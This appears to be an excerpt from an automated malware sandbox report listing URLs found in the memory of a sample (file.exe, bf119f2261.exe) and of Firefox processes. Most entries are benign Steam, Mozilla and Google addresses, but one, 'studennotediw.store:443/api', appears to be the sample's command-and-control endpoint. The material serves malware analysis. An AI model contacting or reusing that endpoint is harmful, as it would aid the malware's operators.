Source: file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1415753536.00000000017E5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.0000000001136000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: file.exe, 00000000.00000003.1415729408.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.000000000184F000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2534514957.00000000011C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: file.exe, 00000000.00000003.1415866051.00000000017BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://studennotediw.store:443/api
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 00000015.00000003.1811643458.0000010CA8E7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 00000015.00000003.1937521236.0000010CA9D5F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1808537567.0000010CA9CA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1925118614.0000010CB3A57000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1954332748.0000010CB3A57000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1991742329.0000010CA9CA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1982331840.0000010CB3A58000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1965659846.0000010CA9D5F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1826544677.0000010CA9D59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 00000015.00000003.1936860949.0000010CA9DD8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1965178837.0000010CA9DD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/firefox-relay-integration
Source: firefox.exe, 00000015.00000003.1826544677.0000010CA9DC4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2005213057.0000010CA7B6A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1966606311.0000010CA9D04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: file.exe, 00000000.00000003.1470733612.0000000006183000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 00000015.00000003.1927918303.0000010CAF91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1958967657.0000010CAF91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsMediaPlatformDecoderNotFound
Source: firefox.exe, 00000015.00000003.1927918303.0000010CAF91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1958967657.0000010CAF91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsMediaWMFNeeded
Source: firefox.exe, 00000015.00000003.1885102619.0000010CAA1C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 00000015.00000003.1962452330.0000010CAAC6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1825529655.0000010CAAC6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1932667988.0000010CAAC6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2
Source: file.exe, 00000000.00000003.1470733612.0000000006183000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 00000015.00000003.1979124212.0000010CA8F77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK
Source: firefox.exe, 00000015.00000003.1895432160.0000010CAF845000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 00000015.00000003.1926529208.0000010CB105D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1926529208.0000010CB104D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 00000015.00000003.1926529208.0000010CB105D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 00000015.00000003.1926529208.0000010CB1057000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1926529208.0000010CB105D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1926529208.0000010CB104D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 00000015.00000003.1926529208.0000010CB1057000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 00000015.00000003.1927745250.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 00000015.00000003.1977630551.0000010CA9415000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1970972518.0000010CA9415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://watch.sling.com/
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 00000015.00000003.1895432160.0000010CAF845000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 00000015.00000003.1958410805.0000010CAF9E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1927441607.0000010CAF9E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 00000015.00000003.1958410805.0000010CAF9E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1927441607.0000010CAF9E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.ca/
Source: firefox.exe, 00000015.00000003.1927745250.0000010CAF95F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: firefox.exe, 00000017.00000002.2650440125.000002324AFEA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2650559517.000001F8FDBEB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2656010478.000001CD08B03000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.21.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: firefox.exe, 00000015.00000003.1927863356.0000010CAF949000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1774981087.0000010CA7300000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1899565587.0000010CA9337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1775892832.0000010CA7563000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1776148002.0000010CA7583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1775198611.0000010CA7522000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1826544677.0000010CA9D59000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1974234103.0000010CA8C20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 00000015.00000003.1927441607.0000010CAF9E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill
Source: firefox.exe, 00000015.00000003.1958410805.0000010CAF9E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1927441607.0000010CAF9E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
Source: firefox.exe, 00000015.00000003.1958410805.0000010CAF9E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1927441607.0000010CAF9E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.fr/
Source: file.exe, 00000000.00000003.1425068667.0000000001803000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1424879826.0000000001847000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: file.exe, 00000000.00000003.1425068667.0000000001803000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/a
Source: file.exe, 00000000.00000003.1424879826.0000000001847000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
Source: firefox.exe, 00000015.00000003.1921667409.0000010CA4E83000.00000004.00000020.00020000.00000000.sdmp, gmpopenh264.dll.tmp.21.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: firefox.exe, 00000015.00000003.1958410805.0000010CAF9E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1927441607.0000010CAF9E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.de/
Source: file.exe, 00000000.00000003.1441135106.0000000005EB3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441065286.0000000005EB6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441255935.0000000005EB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.1415753536.0000000001803000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2535419253.000000000118B000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.000000000115E000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2551959887.000000000118B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: firefox.exe, 00000015.00000003.1959502812.0000010CAF768000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1984764177.0000010CAF768000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1806799918.0000010CAF768000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1928933464.0000010CAF768000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/
Source: firefox.exe, 00000015.00000003.1803594593.0000010CAFAE8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1804988876.0000010CAFA4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 00000015.00000003.1775560172.0000010CA7542000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1774981087.0000010CA7300000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1775892832.0000010CA7563000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1776148002.0000010CA7583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1775198611.0000010CA7522000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: file.exe, 00000000.00000003.1441135106.0000000005EB3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441065286.0000000005EB6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1441255935.0000000005EB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000003.1415753536.0000000001803000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2535419253.000000000118B000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.000000000115E000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2551959887.000000000118B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: firefox.exe, 00000015.00000003.1775560172.0000010CA7542000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1774981087.0000010CA7300000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1899565587.0000010CA9337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1775892832.0000010CA7563000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1776148002.0000010CA7583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1775198611.0000010CA7522000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1826544677.0000010CA9D59000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1974234103.0000010CA8C20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 00000015.00000003.1974551293.0000010CA7AB5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1828649207.0000010CA928F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: file.exe, 00000000.00000003.1415753536.0000000001803000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2535419253.000000000118B000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.000000000115E000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2551959887.000000000118B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: file.exe, 00000000.00000003.1415753536.0000000001803000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000003.2535419253.000000000118B000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2550825961.000000000115E000.00000004.00000020.00020000.00000000.sdmp, bf119f2261.exe, 0000001F.00000002.2551959887.000000000118B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: file.exe, 00000000.00000003.1485103879.0000000005E74000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1484877780.0000000005E6A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1502935350.0000000005E76000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2650440125.000002324AFEA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2650559517.000001F8FDBEB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2656010478.000001CD08B03000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.21.dr	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: firefox.exe, 00000015.00000003.1977630551.0000010CA9407000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mobilesuica.com/
Source: firefox.exe, 00000015.00000003.1997696766.0000010CA8B80000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1997696766.0000010CA8B7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1997696766.0000010CA8B84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 00000015.00000003.1989563837.0000010CAA02F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.1996956973.0000010CA8B93000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 00000017.00000002.2649492835.000002324ACB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2648482963.000001F8FD850000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2654442867.000001CD08900000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
